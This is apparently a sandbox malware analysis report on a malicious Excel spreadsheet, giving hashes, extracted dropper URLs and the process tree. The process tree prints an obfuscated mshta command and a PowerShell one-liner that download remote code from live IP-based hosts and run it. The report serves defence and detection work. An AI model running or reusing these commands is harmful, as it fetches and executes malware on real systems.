450d2c51f01d99f9c963704da063056957113c142a9fcda967a15e521ae0a428

Analysis

max time kernel
7s
max time network
36s
platform
windows10-2004_x64
resource
win10v2004-en-20220113
submitted
21-01-2022 10:23

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

6407591df6ce61f946e24715faa6fba1b1f3221e2baf22f6c4f5a64f1ea98eb5.xls
Size

71KB
MD5

21fc12ef8a4a4ba5b38a303fa7e70c08
SHA1

5700a2231371b289eae19ce62e1a73457ee582c4
SHA256

6407591df6ce61f946e24715faa6fba1b1f3221e2baf22f6c4f5a64f1ea98eb5
SHA512

8200f14c0a8023bb74b39796f7859258ef67a21a5f81704f82315695409795fe724ac8ca81513a95d50d169c824532e43865846ce42b0e541366309ace849654

Score

10^/10

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://0xb907d607/fer/fe2.html

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://185.7.214.7/fer/fe2.png

Signatures

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	1420	3256	cmd.exe	EXCEL.EXE

Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

3508 2472 WerFault.exe mshta.exe
Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

3256 EXCEL.EXE
Suspicious use of SetWindowsHookEx 4 IoCs

Processes:

EXCEL.EXE

pid process

3256 EXCEL.EXE
3256 EXCEL.EXE
3256 EXCEL.EXE
3256 EXCEL.EXE

pid	pid_target	process	target process
3508	2472	WerFault.exe	mshta.exe

pid	process
3256	EXCEL.EXE

pid	process
3256	EXCEL.EXE
3256	EXCEL.EXE
3256	EXCEL.EXE
3256	EXCEL.EXE

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\6407591df6ce61f946e24715faa6fba1b1f3221e2baf22f6c4f5a64f1ea98eb5.xls"
1⤵
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3256

C:\Windows\SYSTEM32\cmd.exe
cmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/fer/fe2.html
2⤵
- Process spawned unexpected child process
PID:1420

C:\Windows\system32\mshta.exe
mshta http://0xb907d607/fer/fe2.html
3⤵
PID:2472

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/fer/fe2.png'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X
4⤵
PID:1796

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -u -p 2472 -s 1728
4⤵
- Program crash
PID:3508

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k LocalServiceAndNoImpersonation -p
1⤵
PID:3616

C:\Windows\System32\WaaSMedicAgent.exe
C:\Windows\System32\WaaSMedicAgent.exe 1fd1a4a88257bc1daca38475719cbffa mGUXW3qYd0yxlUysCV2c9A.0.1.0.0.0
1⤵
PID:3924

C:\Windows\system32\WerFault.exe
C:\Windows\system32\WerFault.exe -pss -s 376 -p 2472 -ip 2472
1⤵
PID:3260

Network

MITRE ATT&CK Matrix

Replay Monitor

Loading Replay Monitor...

Downloads

memory/3256-130-0x00007FFBAEAF0000-0x00007FFBAEB00000-memory.dmp

Filesize
64KB

Download
memory/3256-131-0x00007FFBAEAF0000-0x00007FFBAEB00000-memory.dmp

Filesize
64KB

Download
memory/3256-132-0x00007FFBAEAF0000-0x00007FFBAEB00000-memory.dmp

Filesize
64KB

Download
memory/3256-133-0x00007FFBAEAF0000-0x00007FFBAEB00000-memory.dmp

Filesize
64KB

Download
memory/3256-134-0x00007FFBAEAF0000-0x00007FFBAEB00000-memory.dmp

Filesize
64KB

Download
memory/3256-137-0x00007FFBAC840000-0x00007FFBAC850000-memory.dmp

Filesize
64KB

Download
memory/3256-138-0x00007FFBAC840000-0x00007FFBAC850000-memory.dmp

Filesize
64KB

Download